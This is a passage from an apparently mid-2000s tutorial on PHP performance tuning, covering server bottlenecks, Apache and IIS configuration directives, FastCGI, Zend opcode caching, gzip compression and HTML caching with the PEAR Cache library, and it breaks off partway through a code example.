<p>Hare.php requires 0.04 seconds of CPU and 10 Mb RAM and tortoise.php requires 0.06 seconds of CPU and 5 Mb RAM. The server has 100 Mb free actual RAM and its CPU is 99% idle. Assume no memory fragmentation occurs to simplify things.</p>
<p>At 10 concurrent scripts running, hare.php will run out of memory (10 x 10    = 100). At that point, tortoise.php will still have 50 Mb of free memory. The    11th concurrent script to run will bring hare.php to its knees as it starts    using virtual memory, slowing it down to maybe half its original speed; each    invocation of hare.php now takes 0.08 seconds of CPU time. Meanwhile, tortoise.php    will be still be running at its normal 0.06 seconds CPU time.</p>
<p>In the table below, the faster php script for different loads is in bold:</p>
<p></font></p>
<table border="1" cellpadding="7" cellspacing="1" width="638">
<tr>
<td valign="top" width="22%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">Connections       </font></td>
<td valign="top" width="24%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">CPU seconds required to satisfy 1 HTTP request       </font></td>
<td valign="top" width="27%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">CPU seconds required to satisfy 10 HTTP requests       </font></td>
<td valign="top" width="28%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">CPU seconds required to satisfy 11 HTTP requests       </font></td>
</tr>
<tr>
<td valign="top" width="22%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">hare.php        </font></td>
<td valign="top" width="24%"><font face="Courier New,Courier,Monaco">        </font><font face="Courier New,Courier,Monaco"><strong>0.04</strong>       </font></td>
<td valign="top" width="27%"><font face="Courier New,Courier,Monaco">        </font><font face="Courier New,Courier,Monaco"><strong>0.40</strong>       </font></td>
<td valign="top" width="28%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">0.88<br />
(runs out of RAM)       </font></td>
</tr>
<tr>
<td valign="top" width="22%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">tortoise.php       </font></td>
<td valign="top" width="24%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">0.06       </font></td>
<td valign="top" width="27%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">0.60       </font></td>
<td valign="top" width="28%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco"><strong>0.66</strong>       </font></td>
</tr>
</table>
<p><font face="Courier New,Courier,Monaco">  </font><font face="Courier New,Courier,Monaco"> </font></p>
<p><font face="Courier New,Courier,Monaco">As the above example shows, obtaining good performance is not merely writing    fast PHP scripts. High performance PHP requires a good understanding of the    underlying hardware, the operating system and supporting software such as the    web server and database.</font></p>
<p><font face="Courier New,Courier,Monaco"><strong>Bottlenecks</p>
<p></strong>  </font><font face="Courier New,Courier,Monaco">The hare and tortoise example has shown us that bottlenecks cause slowdowns.    With infinite RAM, hare.php will always be faster than tortoise.php. Unfortunately,    the above model is a bit simplistic and there are many other bottlenecks to    performance apart from RAM:</font></p>
<p><font face="Courier New,Courier,Monaco"><strong>(a) Networking</p>
<p></strong>  </font><font face="Courier New,Courier,Monaco">Your network is probably the biggest bottleneck. Let us say you have a 10 Mbit    link to the Internet, over which you can pump 1 megabyte of data per second.    If each web page is 30k, a mere 33 web pages per second will saturate the line.  </font></p>
<p><font face="Courier New,Courier,Monaco">More subtle networking bottlenecks include frequent access to slow network    services such as DNS, or allocating insufficient memory for networking software.</font></p>
<p><font face="Courier New,Courier,Monaco"><strong>(b) CPU</p>
<p></strong>  </font><font face="Courier New,Courier,Monaco">If you monitor your CPU load, sending plain HTML pages over a network will    not tax your CPU at all because as we mentioned earlier, the bottleneck will    be the network. However for the complex dynamic web pages that PHP generates,    your CPU speed will normally become the limiting factor. Having a server with    multiple processors or having a server farm can alleviate this.</font></p>
<p><font face="Courier New,Courier,Monaco"><strong>(c) Shared Memory</p>
<p></strong>  </font><font face="Courier New,Courier,Monaco">Shared memory is used for inter-process communication, and to store resources    that are shared between multiple processes such as cached data and code. If    insufficient shared memory is allocated any attempt to access resources that    use shared memory such as database connections or executable code will perform    poorly.</font></p>
<p><font face="Courier New,Courier,Monaco"><strong>(d) File System</p>
<p></strong>  </font><font face="Courier New,Courier,Monaco">Accessing a hard disk can be 50 to 100 times slower than reading data from    RAM. File caches using RAM can alleviate this. However low memory conditions    will reduce the amount of memory available for the file-system cache, slowing    things down. File systems can also become heavily fragmented, slowing down disk    accesses. Heavy use of symbolic links on Unix systems can slow down disk accesses    too.</font></p>
<p><font face="Courier New,Courier,Monaco">Default Linux installs are also notorious for setting hard disk default settings    which are tuned for compatibility and not for speed. Use the command <em>hdparm</em>    to tune your Linux hard disk settings.</font></p>
<p><font face="Courier New,Courier,Monaco"><strong>(e) Process Management</p>
<p></strong>  </font><font face="Courier New,Courier,Monaco">On some operating systems such as Windows creating new processes is a slow    operation. This means CGI applications that fork a new process on every invocation    will run substantially slower on these operating systems. Running PHP in multi-threaded    mode should improve response times (note: older versions of PHP are not stable    in multi-threaded mode).</font></p>
<p><font face="Courier New,Courier,Monaco">Avoid overcrowding your web server with too many unneeded processes. For example,    if your server is purely for web serving, avoid running (or even installing)    X-Windows on the machine. On Windows, avoid running Microsoft Find Fast (part    of Office) and 3-dimensional screen savers that result in 100% CPU utilization.</font></p>
<p><font face="Courier New,Courier,Monaco">Some of the programs that you can consider removing include unused networking    protocols, mail servers, antivirus scanners, hardware drivers for mice, infrared    ports and the like. On Unix, I assume you are accessing your server using SSH.    Then you can consider removing:</font></p>
<blockquote><p><font face="Courier New,Courier,Monaco">deamons such as telnetd, inetd, atd,      ftpd, lpd, sambad<br />
sendmail for incoming mail<br />
portmap for NFS<br />
xfs, fvwm, xinit, X</font></p></blockquote>
<p><font face="Courier New,Courier,Monaco">You can also disable at startup various programs by modifying the startup files    which are usually stored in the /etc/init* or /etc/rc*/init* directory.</p>
<p>Also review your cron jobs to see if you can remove them or reschedule them    for off-peak periods.</p>
<p><strong>(f) Connecting to Other Servers</p>
<p></strong>If your web server requires services running on other servers, it is possible    that those servers become the bottleneck. The most common example of this is    a slow database server that is servicing too many complicated SQL requests from    multiple web servers.</p>
<p></font></p>
<table align="center" border="1" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td bgcolor="#cccccc"><font face="Courier New,Courier,Monaco"><strong>When to Start Optimizing?</p>
<p></strong>        </font><font face="Courier New,Courier,Monaco">Some people say that it is better to defer tuning until after the coding          is complete. This advice only makes sense if your programming team&#8217;s coding          is of a high quality to begin with, and you already have a good feel of          the performance parameters of your application. Otherwise you are exposing          yourselves to the risk of having to rewrite substantial portions of your          code after testing.</font></p>
<p><font face="Courier New,Courier,Monaco">      </font><font face="Courier New,Courier,Monaco">My advice is that before you design a software application, you should          do some basic benchmarks on the hardware and software to get a feel for          the maximum performance you might be able to achieve. Then as you design          and code the application, keep the desired performance parameters in mind,          because at every step of the way there will be tradeoffs between performance,          availability, security and flexibility.</font></p>
<p><font face="Courier New,Courier,Monaco">      </font><font face="Courier New,Courier,Monaco">Also choose good test data. If your database is expected to hold 100,000          records, avoid testing with only a 100 record database – you will regret          it. This once happened to one of the programmers in my company; we did          not detect the slow code until much later, causing a lot of wasted time          as we had to rewrite a lot of code that worked but did not scale.</font></p>
<p><font face="Courier New,Courier,Monaco">      </font></td>
</tr>
</table>
<p><font face="Courier New,Courier,Monaco"><strong>   </strong><strong>Tuning Your Web Server for PHP</p>
<p></strong>We will cover how to get the best PHP performance for the two most common web                servers in use today, Apache 1.3 and IIS. A lot of the advice here                is relevant for serving HTML also.</p>
<p>The authors of PHP have stated that there is no performance nor                scalability advantage in using Apache 2.0 over Apache 1.3 with PHP,                especially in multi-threaded mode. When running Apache 2.0 in pre-forking                mode, the following discussion is still relevant (21 Oct 2003).</p>
<p><strong>(a) Apache 1.3/2.0</p>
<p></strong>Apache is available on both Unix and Windows. It is the most popular                web server in the world. Apache 1.3 uses a <em>pre-forking</em> model                for web serving. When Apache starts up, it creates multiple child                processes that handle HTTP requests. The initial parent process                acts like a guardian angel, making sure that all the child processes                are working properly and coordinating everything. As more HTTP requests                come in, more child processes are spawned to process them. As the                HTTP requests slow down, the parent will kill the idle child processes,                freeing up resources for other processes. The beauty of this scheme                is that it makes Apache extremely robust. Even if a child process                crashes, the parent and the other child processes are insulated                from the crashing child.</p>
<p>The pre-forking model is not as fast as some other possible designs,                but to me that it is &#8220;much ado about nothing&#8221; on a server serving                PHP scripts because other bottlenecks will kick in long before Apache                performance issues become significant. The robustness and reliability                of Apache is more important.</p>
<p>Apache 2.0 offers operation in multi-threaded mode. My benchmarks                indicate there is little performance advantage in this mode. Also                be warned that many PHP extensions are not compatible (e.g. GD and                IMAP). Tested with Apache 2.0.47 (21 Oct 2003).</p>
<p>Apache is configured using the httpd.conf file. The following parameters are    particularly important in configuring child processes:</p>
<p></font></p>
<table border="1" cellpadding="7" cellspacing="1" width="649">
<tr>
<td valign="top" width="21%"><strong><font face="Courier New,Courier,Monaco">        </font></strong><strong><font face="Courier New,Courier,Monaco"><font size="3">Directive</font>       </font></strong></td>
<td valign="top" width="13%"><strong><font face="Courier New,Courier,Monaco">       </font></strong><strong><font face="Courier New,Courier,Monaco">Default       </font></strong></td>
<td valign="top" width="65%"><strong><font face="Courier New,Courier,Monaco">       </font></strong><strong><font face="Courier New,Courier,Monaco">Description       </font></strong></td>
</tr>
<tr>
<td valign="top" width="21%"><font face="Courier New,Courier,Monaco" size="1">        </font><font face="Courier New,Courier,Monaco" size="1"><font size="3">MaxClients</font>       </font></td>
<td valign="top" width="13%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">256       </font></td>
<td valign="top" width="65%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">The maximum number of child processes to create. The default means that          up to 256 HTTP requests can be handled concurrently. Any further connection          requests are queued.       </font></td>
</tr>
<tr>
<td valign="top" width="21%"><font face="Courier New,Courier,Monaco" size="1">        </font><font face="Courier New,Courier,Monaco" size="1"><font size="3">StartServers</font>       </font></td>
<td valign="top" width="13%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">5       </font></td>
<td valign="top" width="65%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">The number of child processes to create on startup.       </font></td>
</tr>
<tr>
<td valign="top" width="21%"><font face="Courier New,Courier,Monaco" size="1">        </font><font face="Courier New,Courier,Monaco" size="1"><font size="3">MinSpareServers</font>       </font></td>
<td valign="top" width="13%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">5       </font></td>
<td valign="top" width="65%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">The number of idle child processes that should be created. If the number          of idle child processes falls to less than this number, 1 child is created          initially, then 2 after another second, then 4 after another second, and          so forth till 32 children are created per second.       </font></td>
</tr>
<tr>
<td valign="top" width="21%"><font face="Courier New,Courier,Monaco" size="1">        </font><font face="Courier New,Courier,Monaco" size="1"><font size="3">MaxSpareServers</font>       </font></td>
<td valign="top" width="13%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">10       </font></td>
<td valign="top" width="65%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">If more than this number of child processes are alive, then these extra          processes will be terminated.       </font></td>
</tr>
<tr>
<td valign="top" width="21%"><font face="Courier New,Courier,Monaco" size="1"><font size="3">MaxRequestsPerChild </font></p>
<p></font></td>
<td valign="top" width="13%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">0       </font></td>
<td valign="top" width="65%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">Sets the number of HTTP requests a child can handle before terminating.          Setting to 0 means never terminate. Set this to a value to between 100          to 10000 if you suspect memory leaks are occurring, or to free under-utilized          resources.       </font></td>
</tr>
</table>
<p><font face="Courier New,Courier,Monaco">For large sites, values close to the following might be better:</p>
<p></font><font face="Courier New,Courier,Monaco" size="1"><font size="3">MinSpareServers 32 </font></p>
<p><font size="3">MaxSpareServers 64</font></p>
<p></font><font face="Courier New,Courier,Monaco"> </font><font face="Courier New,Courier,Monaco">Apache on Windows behaves differently. Instead of using child processes, Apache uses threads. The above parameters are not used. Instead we have one parameter: <em>ThreadsPerChild</em> which defaults to 50. This parameter sets the number of threads that can be spawned by Apache. As there is only one child process in the Windows version, the default setting of 50 means only 50 concurrent HTTP requests can be handled. For web servers experiencing higher traffic, increase this value to between 256 to 1024.</font></p>
<p><font face="Courier New,Courier,Monaco">Other useful performance parameters you can change include:</font></p>
<table border="1" cellpadding="7" cellspacing="1" width="621">
<tr>
<td valign="top" width="21%"><strong><font face="Courier New,Courier,Monaco">        </font></strong><strong><font face="Courier New,Courier,Monaco"><font size="3">Directive</font>       </font></strong></td>
<td valign="top" width="14%"><strong><font face="Courier New,Courier,Monaco">       </font></strong><strong><font face="Courier New,Courier,Monaco">Default       </font></strong></td>
<td valign="top" width="65%"><strong><font face="Courier New,Courier,Monaco">       </font></strong><strong><font face="Courier New,Courier,Monaco">Description       </font></strong></td>
</tr>
<tr>
<td valign="top" width="21%"><font face="Courier New,Courier,Monaco" size="1">        </font><font face="Courier New,Courier,Monaco" size="1"><font size="3">SendBufferSize</font>       </font></td>
<td valign="top" width="14%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">Set to OS default       </font></td>
<td valign="top" width="65%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">Determines the size of the output buffer (in bytes) used in TCP/IP connections.          This is primarily useful for congested or slow networks when packets need          to be buffered; you then set this parameter close to the size of the largest          file normally downloaded. One TCP/IP buffer will be created per client          connection.       </font></td>
</tr>
<tr>
<td valign="top" width="21%"><font face="Courier New,Courier,Monaco" size="1"><font size="3">KeepAlive [on|off]</font></p>
<p></font></td>
<td valign="top" width="14%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">On       </font></td>
<td valign="top" width="65%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">In the original HTTP specification, every HTTP request had to establish          a separate connection to the server. To reduce the overhead of frequent          connects, the keep-alive header was developed. Keep-alives tells the server          to reuse the same socket connection for multiple HTTP requests.</font></p>
<p><font face="Courier New,Courier,Monaco">      </font><font face="Courier New,Courier,Monaco">If a separate dedicated web server serves all images, you can disable          this option. This technique can substantially improve resource utilization.       </font></td>
</tr>
<tr>
<td valign="top" width="21%"><font face="Courier New,Courier,Monaco" size="1"><font size="3">KeepAliveTimeout </font></p>
<p></font></td>
<td valign="top" width="14%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">15       </font></td>
<td valign="top" width="65%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">The number of seconds to keep the socket connection alive. This time          includes the generation of content by the server and acknowledgements          by the client. If the client does not respond in time, it must make a          new connection.</font></p>
<p><font face="Courier New,Courier,Monaco">      </font><font face="Courier New,Courier,Monaco">This value should be kept low as the socket will be idle for extended          periods otherwise.        </font></td>
</tr>
<tr>
<td valign="top" width="21%"><font face="Courier New,Courier,Monaco" size="1"><font size="3">MaxKeepAliveRequests </font></p>
<p></font></td>
<td valign="top" width="14%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">100       </font></td>
<td valign="top" width="65%"><font face="Courier New,Courier,Monaco">Socket connections will be terminated when the number of requests set          by MaxKeepAliveRequests is reached. Keep this to a high value below MaxClients          or ThreadsPerChild.</p>
<p></font></td>
</tr>
<tr>
<td valign="top" width="21%"><font face="Courier New,Courier,Monaco" size="1"><font size="3">TimeOut </font></p>
<p></font></td>
<td valign="top" width="14%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">300       </font></td>
<td valign="top" width="65%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">Disconnect when idle time exceeds this value. You can set this value          lower if your clients have low latencies.       </font></td>
</tr>
<tr>
<td valign="top" width="21%"><font face="Courier New,Courier,Monaco" size="1">        </font><font face="Courier New,Courier,Monaco" size="1"><font size="3">LimitRequestBody </font>       </font></td>
<td valign="top" width="14%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">0       </font></td>
<td valign="top" width="65%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">Maximum size of a PUT or POST. O means there is no limit.       </font></td>
</tr>
</table>
<p><font face="Courier New,Courier,Monaco">If you do not require DNS lookups and you are not using the htaccess file to configure Apache settings for individual directories you can set:</p>
<p></font><font face="Courier New,Courier,Monaco" size="1"><font size="2"># disable DNS lookups: PHP scripts only get the IP address</font></p>
<p><font size="2">HostnameLookups <strong>off </strong></font></p>
<p><font size="2"># disable htaccess checks</font></p>
<p><font size="2">&lt;Directory /&gt; </font></p>
<p><font size="2"> AllowOverride <strong>none </strong></font></p>
<p><font size="2">&lt;/Directory&gt; </font></p>
<p></font><font face="Courier New,Courier,Monaco">If you are not worried about the directory security when accessing symbolic links, turn on FollowSymLinks and turn off SymLinksIfOwnerMatch to prevent additional lstat() system calls from being made:</p>
<p></font><font face="Courier New,Courier,Monaco" size="1"> <font size="2">Options FollowSymLinks </font></p>
<p><font size="2"> #Options SymLinksIfOwnerMatch</font></p>
<p></font><font face="Courier New,Courier,Monaco"> <strong>(b) IIS Tuning</p>
<p></strong>IIS is a multi-threaded web server available on Windows NT and 2000. From the Internet Services Manager, it is possible to tune the following parameters:</p>
<p></font></p>
<table border="1" cellpadding="7" cellspacing="1" width="638">
<tr>
<td valign="top" width="32%"><font face="Courier New,Courier,Monaco">Performance Tuning based on the number of hits per day. </font></td>
<td valign="top" width="68%"><font face="Courier New,Courier,Monaco">Determines how much memory to preallocate for IIS. (Performance Tab).</font></td>
</tr>
<tr>
<td valign="top" width="32%"><font face="Courier New,Courier,Monaco">Bandwidth throttling</font></td>
<td valign="top" width="68%"><font face="Courier New,Courier,Monaco">Controls the bandwidth per second allocated per web site. (Performance Tab).</font></td>
</tr>
<tr>
<td valign="top" width="32%"><font face="Courier New,Courier,Monaco">Process throttling</font></td>
<td valign="top" width="68%"><font face="Courier New,Courier,Monaco">Controls the CPU% available per Web site. (Performance Tab).</font></td>
</tr>
<tr>
<td valign="top" width="32%"><font face="Courier New,Courier,Monaco">Timeout</font></td>
<td valign="top" width="68%"><font face="Courier New,Courier,Monaco">Default is 900 seconds. Set to a lower value on a Local Area Network. (Web Site Tab)</font></td>
</tr>
<tr>
<td valign="top" width="32%"><font face="Courier New,Courier,Monaco">HTTP Compression</font></td>
<td valign="top" width="68%"><font face="Courier New,Courier,Monaco">In IIS 5, you can compress dynamic pages, html and images. Can be configured to cache compressed static html and images. By default compression is off.</font></p>
<p><font face="Courier New,Courier,Monaco">HTTP compression has to be enabled for the entire physical server. To turn it on open the IIS console, right-click on the server (not any of the subsites, but the server in the left-hand pane), and get Properties. Click on the Service tab, and select &#8220;Compress application files&#8221; to compress dynamic content, and &#8220;Compress static files&#8221; to compress static content.</font></td>
</tr>
</table>
<p><font face="Courier New,Courier,Monaco">You can also configure the default isolation level of your web site. In the Home Directory tab under Application Protection, you can define your level of isolation. A highly isolated web site will run slower because it is running as a separate process from IIS, while running web site in the IIS process is the fastest but will bring down the server if there are serious bugs in the web site code. Currently I recommend running PHP web sites using CGI, or using ISAPI with Application Protection set to high.</p>
<p>You can also use regedit.exe to modify following IIS 5 registry settings stored at the following location:</p>
<p></font><font face="Courier New,Courier,Monaco" size="1"><font size="2">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Inetinfo\Parameters\</font></p>
<p></font></p>
<table border="1" cellpadding="7" cellspacing="1" width="638">
<tr>
<td valign="top" width="19%"><font face="Courier New,Courier,Monaco" size="1">        </font><font face="Courier New,Courier,Monaco" size="1"><font size="2">MemCacheSize </font>       </font></td>
<td valign="top" width="81%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">Sets the amount of memory that IIS will use for its file cache. By default          IIS will use 50% of available memory. Increase if IIS is the only application          on the server. Value is in megabytes.       </font></td>
</tr>
<tr>
<td valign="top" width="19%"><font face="Courier New,Courier,Monaco" size="1">        </font><font face="Courier New,Courier,Monaco" size="1"><font size="2">MaxCachedFileSize</font>       </font></td>
<td valign="top" width="81%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">Determines the maximum size of a file cached in the file cache in bytes.          Default is 262,144 (256K).       </font></td>
</tr>
<tr>
<td valign="top" width="19%"><font face="Courier New,Courier,Monaco" size="1">        </font><font face="Courier New,Courier,Monaco" size="1"><font size="2">ObjectCacheTTL</font>       </font></td>
<td valign="top" width="81%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">Sets the length of time (in milliseconds) that objects in the cache are          held in memory. Default is 30,000 milliseconds (30 seconds).       </font></td>
</tr>
<tr>
<td valign="top" width="19%"><font face="Courier New,Courier,Monaco" size="1">        </font><font face="Courier New,Courier,Monaco" size="1"><font size="2">MaxPoolThreads</font>       </font></td>
<td valign="top" width="81%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">Sets the number of pool threads to create <em>per processor</em>. Determines          how many CGI applications can run concurrently. Default is 4. Increase          this value if you are using PHP in CGI mode.       </font></td>
</tr>
<tr>
<td valign="top" width="19%"><font face="Courier New,Courier,Monaco" size="1">        </font><font face="Courier New,Courier,Monaco" size="1"><font size="2">ListenBackLog</font>       </font></td>
<td valign="top" width="81%"><font face="Courier New,Courier,Monaco">       </font><font face="Courier New,Courier,Monaco">Specifies the maximum number of active Keep Alive connections that IIS          maintains in the connection queue. Default is 15, and should be increased          to the number of concurrent connections you want to support. Maximum is          250.       </font></td>
</tr>
</table>
<p><font face="Courier New,Courier,Monaco">If the settings are missing from this registry location, the defaults are being                used.</p>
<p><strong>High Performance on Windows: IIS and FastCGI</strong></p>
<p>After much testing, I find that the best PHP performance on Windows                is offered by using IIS with FastCGI. CGI is a protocol for calling                external programs from a web server. It is not very fast because                CGI programs are terminated after every page request. FastCGI modifies                this protocol for high performance, by making the CGI program persist                after a page request, and reusing the same CGI program when a new                page request comes in.</p>
<p>As the installation of FastCGI with IIS is complicated, you should                use the <a href="http://phplens.com/phpeverywhere/easywindows" > EasyWindows                PHP Installer</a>. This will install PHP, FastCGI and Turck MMCache                for the best performance possible. This installer can also install                PHP for Apache 1.3/2.0.</p>
<p>This section on FastCGI added 21 Oct 2003.</p>
<p><strong>PHP4&#8217;s Zend Engine</p>
<p></strong>The Zend Engine is the internal compiler and runtime engine used by PHP4. Developed by Zeev Suraski and Andi Gutmans, the Zend Engine is an abbreviation of their names. In the early days of PHP4, it worked in the following fashion:</p>
<p></font></p>
<p align="center"><img src="http://phplens.com/lens/php-book/opt/Image2.gif" height="207" width="278" /></p>
<p><font face="Courier New,Courier,Monaco">The PHP script was loaded by the Zend Engine and compiled into Zend opcode. Opcodes, short for operation codes, are low level binary instructions. Then the opcode was executed and the HTML generated sent to the client. The opcode was flushed from memory after execution.</p>
<p>Today, there are a multitude of products and techniques to help you speed up this process. In the following diagram, we show the how modern PHP scripts work; all the shaded boxes are optional.</p>
<p></font></p>
<p align="center"><img src="http://phplens.com/lens/php-book/opt/Image3.gif" height="383" width="575" /></p>
<p><font face="Courier New,Courier,Monaco">PHP Scripts are loaded into memory and compiled into Zend opcodes. These opcodes    can now be optimized using an optional peephole optimizer called Zend Optimizer.    Depending on the script, it can increase the speed of your PHP code by 0-50%.</p>
<p>Formerly after execution, the opcodes were discarded. Now the opcodes can be    optionally cached in memory using several alternative open source products and    the Zend Accelerator (formerly Zend Cache), which is a commercial closed source    product. The only opcode cache that is compatible with the Zend Optimizer is    the Zend Accelerator. An opcode cache speeds execution by removing the script    loading and compilation steps. Execution times can improve between 10-200% using    an opcode cache.</p>
<p></font></p>
<table align="center" border="1" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td bgcolor="#cccccc"><font face="Courier New,Courier,Monaco"><strong><font color="#000000">Where to find Opcode Caches</font></p>
<p></strong><font color="#000000">Zend Accelerator: A commercial opcode                      cache developed by the Zend Engine team. Very reliable and                      robust. Visit <a href="http://zend.com/" >http://zend.com</a>                      for more information.</font></p>
<p><font color="#000000">You will need to test the following                      open source opcode caches before using them on production                      servers as their performance and reliability very much depends                      on the PHP scripts you run.</font></p>
<p><font color="#000000">Turcke MMCache: <a rel="nofollow" href="http://turck-mmcache.sourceforge.net/" >http://turck-mmcache.sourceforge.net</a>/                       is no longer maintained. See <a href="http://eaccelerator.net/HomeUk/" >eAccelerator</a>, which is a branch of mmcache that 					 is actively maintained (Added 28 Feb 2005).</font></p>
<p><font color="#000000">Alternative PHP Cache: <a href="http://apc.communityconnect.com/" >http://apc.communityconnect.com/</a></font></p>
<p><font color="#000000">PHP Accelerator: <a href="http://www.php-accelerator.co.uk/" >http://www.php-accelerator.co.uk/</a></font></p>
<p><font color="#000000">AfterBurner Cache: <a href="http://www.bwcache.bware.it/" >http://www.bwcache.bware.it/</a></font></p>
<p></font></td>
</tr>
</table>
<p><font face="Courier New,Courier,Monaco">One of the secrets of high performance is not to write faster PHP code, but    to avoid executing PHP code by caching generated HTML in a file or in shared    memory. The PHP script is only run once and the HTML is captured, and future    invocations of the script will load the cached HTML. If the data needs to be    updated regularly, an expiry value is set for the cached HTML. HTML caching    is not part of the PHP language nor Zend Engine, but implemented using PHP code.    There are many class libraries that do this. One of them is the PEAR Cache,    which we will cover in the next section. Another is the <a href="http://phpinsider.com/php/code/Smarty/" >Smarty</a>    template library.</p>
<p>Finally, the HTML sent to a web client can be compressed. This is enabled by    placing the following code at the beginning of your PHP script:</p>
<p></font><font face="Courier New,Courier,Monaco" size="1"><font size="2">&lt;?php</font></p>
<p><font size="2">ob_start(&#8220;ob_gzhandler&#8221;); </font></p>
<p><font size="2">:<br />
:</font></p>
<p><font size="2">?&gt;</font></p>
<p></font><font face="Courier New,Courier,Monaco">If your HTML is highly compressible, it is possible to reduce the size of your HTML file by 50-80%, reducing network bandwidth requirements and latencies. The downside is that you need to have some CPU power to spare for compression.</p>
<p><strong>HTML Caching with PEAR Cache</p>
<p></strong>The PEAR Cache is a set of caching classes that allows you to cache multiple types of data, including HTML and images.</p>
<p>The most common use of the PEAR Cache is to cache HTML text. To do this, we use the Output buffering class which caches all text printed or echoed between the start() and end() functions:</p>
<p></font><font face="Courier New,Courier,Monaco" size="1">  </font><font face="Courier New,Courier,Monaco" size="1"><font size="2">require_once(&#8220;Cache/Output.php&#8221;);</font></font></p>
<p><font face="Courier New,Courier,Monaco" size="1"><font size="2">$cache = new Cache_Output(&#8220;file&#8221;, array(&#8220;cache_dir&#8221; =&gt; &#8220;cache/&#8221;)    );</font></font></p>
<p><font face="Courier New,Courier,Monaco" size="1"><font size="2">if ($contents = $cache-&gt;start(md5(&#8220;this is a unique key!&#8221;)))    {</font></font></p>
<p><font face="Courier New,Courier,Monaco" size="1"><font size="2">#<br />
</font><font size="2"># aha, cached data returned<br />
</font><font size="2">#</font></font></p>
<p><font face="Courier New,Courier,Monaco" size="1"><font size="2">	  print $contents;</font><br />
<font size="2">  print &#8220;&lt;p&gt;Cache Hit&lt;/p&gt;&#8221;;</font></font></p>
<p><font face="Courier New,Courier,Monaco" size="1"><font size="2">} else {</font></font></p>
<p><font face="Courier New,Courier,Monaco" size="1"><font size="2">#<br />
</font><font size="2"># no cached data, or cache expired<br />
</font><font size="2">#</font></font></p>
<p><font face="Courier New,Courier,Monaco" size="1"><font size="2">	  print &#8220;&lt;p&gt;Don&#8217;t leave home without it…&lt;/p&gt;&#8221;;    # place in cache</font><br />
<font size="2">  print &#8220;&lt;p&gt;Stand and deliver&lt;/p&gt;&#8221;; # place    in cache</font><br />
<font size="2">  print $cache-&gt;end(10);</font></font></p>
<p><font face="Courier New,Courier,Monaco" size="1"><font size="2">}</font></font></p>
<p><font face="Courier New,Courier,Monaco" size="1">Since I wrote these lines, a superior PEAR cache system has been developed: <a href="http://pear.php.net/package/Cache_Lite" >Cache Lite</a>;  and for more sophisticated distributed caching, see <a href="http://www.danga.com/memcached/" >memcached</a> (Added 28 Feb 2005). </font><font face="Courier New,Courier,Monaco">The Cache constructor takes the storage driver to use as the first parameter. File, database and shared memory storage drivers are available; see the pear/Cache/Container directory. Benchmarks by Ulf Wendel suggest that the &#8220;file&#8221; storage driver offers the best performance. The second parameter is the storage driver options. The options are &#8220;cache_dir&#8221;, the location of the caching directory, and &#8220;filename_prefix&#8221;, which is the prefix to use for all cached files. Strangely enough, cache expiry times are not set in the options parameter.</p>
<p>To cache some data, you generate a unique id for the cached data using a key. In the above example, we used md5(&#8220;this is a unique key!&#8221;).</p>
<p>The start() function uses the key to find a cached copy of the contents. If the contents are not cached, an empty string is returned by start(), and all future echo() and print() statements will be buffered in the output cache, until end() is called.</p>
<p>The end() function returns the contents of the buffer, and ends output buffering. The end() function takes as its first parameter the expiry time of the cache. This parameter can be the seconds to cache the data, or a Unix integer timestamp giving the date and time to expire the data, or zero to default to 24 hours.</p>
<p>Another way to use the PEAR cache is to store variables or other data. To do so, you can use the base Cache class:</p>
<p></font><font face="Courier New,Courier,Monaco" size="1"><font size="2">&lt;?php</font></p>
<p><font size="2">require_once(&#8220;Cache.php&#8221;);</font></p>
<p><font size="2">$cache = new Cache(&#8220;file&#8221;, array(&#8220;cache_dir&#8221; =&gt; &#8220;cache/&#8221;)    );<br />
</font><font size="2">$id = $cache-&gt;generateID(&#8220;this is a unique key&#8221;);</font></p>
<p><font size="2">if ($data = $cache-&gt;get($id)) {</font></p>
